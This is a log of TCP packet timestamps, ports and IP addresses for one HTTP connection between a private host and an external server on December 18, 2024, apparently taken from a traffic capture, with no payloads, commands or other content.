Dec 18, 2024 20:56:41.267466068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.267535925 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.267944098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.267957926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.267999887 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.269088984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.269102097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.269145966 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.270162106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.270174980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.270219088 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.271276951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.271298885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.271342039 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.272505045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.272516966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.272562027 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.273519039 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.273531914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.273583889 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.274657011 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.274668932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.274722099 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.275738955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.275752068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.275813103 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.276851892 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.276861906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.276909113 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.291857004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.292114019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.292165995 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.292609930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.293289900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.293307066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.293329000 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.294502020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.294564009 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.294866085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.294883966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.294936895 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.296000004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.296567917 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.296622992 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.297204971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.297218084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.297261000 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.299452066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.299465895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.299511909 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.300019026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.300031900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.300098896 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.301239967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.301254034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.301295996 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.302284956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.302300930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.302370071 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.303339958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.303944111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.304012060 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.304482937 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.304497957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.304543018 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.305639029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.305651903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.305720091 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.306725025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.306740046 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.306787014 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.307825089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.307837963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.307881117 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.309035063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.309603930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.309617996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.309654951 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.310787916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.310801029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.310838938 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.311965942 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.311989069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.312017918 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.313230038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.313241959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.313278913 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.314517975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.314531088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.314541101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.314573050 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.314630032 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.315721989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.317017078 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.317045927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.317070961 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.318283081 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.318314075 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.318335056 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.319521904 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.319535017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.319576979 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.320820093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.320832014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.320873022 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.321985960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.322032928 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.323292017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.323318005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.323331118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.323363066 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.324718952 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.324733019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.324784040 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.325958014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.325980902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.326009989 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.327254057 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.327266932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.327311039 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.328454971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.328495026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.328504086 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.328507900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.328540087 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.329579115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.329591990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.329642057 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.330617905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.330630064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.330668926 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.331820011 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.331834078 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.331872940 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.333046913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.333059072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.333070993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.333116055 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.384351015 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.451467991 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.451961994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.452016115 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.452440977 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.452900887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.452953100 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.453520060 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.453533888 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.453577042 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.454571009 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.455212116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.455266953 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.455781937 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.455796003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.455843925 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.456839085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.456856012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.456890106 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.458218098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.458230972 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.458273888 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.459336042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.459939957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.459953070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.459994078 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.460906029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.460952997 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.461337090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.461981058 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.462023973 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.462491035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.462503910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.462541103 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.463618994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.463696003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.463733912 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.464778900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.464792967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.464833021 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.465976000 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.465987921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.466037035 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.467083931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.467097044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.467133999 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.468108892 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.468128920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.468166113 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.469269037 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.469275951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.469322920 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.484003067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.484467983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.484522104 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.485038996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.485054016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.485089064 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.487425089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.487442017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.487483025 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.488363981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.488379002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.488440990 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.490772963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.491936922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.491986036 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.491987944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.493287086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.493300915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.493311882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.493333101 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.493349075 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.494446993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.494460106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.494528055 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.495675087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.495688915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.495734930 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.497054100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.497071981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.497111082 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.499397039 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.499409914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.499422073 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.499464989 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.500659943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.500677109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.500705004 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.501883984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.501897097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.501940966 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.503118038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.503139019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.503177881 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.504349947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.504364014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.504375935 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.504422903 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.504422903 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.505589008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.505603075 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.505642891 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.506829977 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.506843090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.506901979 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.508131981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.508147001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.508184910 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.510548115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.510561943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.510615110 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.513032913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.513046980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.513093948 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.514286041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.514298916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.514336109 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.515675068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.515690088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.515746117 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.516741037 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.516753912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.516797066 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.517997026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.518011093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.518027067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.518059015 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.519252062 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.519301891 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.521706104 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.521719933 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.521764994 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.524269104 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.524290085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.524343967 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.526680946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.527905941 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.527920008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.527930021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.527955055 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.527971983 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.529151917 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.529165983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.529201031 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.530445099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.530458927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.530514002 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.531639099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.531660080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.531708002 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.532910109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.532922983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.532974958 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.534113884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.534127951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.534166098 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.535403967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.536608934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.536623001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.536659956 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.643778086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.644082069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.644184113 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.644824028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.644831896 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.644953966 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.645930052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.646306992 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.646361113 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.646951914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.646959066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.647097111 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.648017883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.648025036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.648293972 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.649138927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.649651051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.649846077 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.650218010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.650224924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.650296926 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.652132034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.652141094 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.652704954 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.652713060 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.652740002 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.653608084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.653690100 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.654210091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.654377937 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.654722929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.654730082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.654783964 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.655838013 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.656459093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.656492949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.656528950 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:41.657855034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.658052921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.658061028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:41.658076048 CET	49747	80	192.168.2.3	185.185.71.170
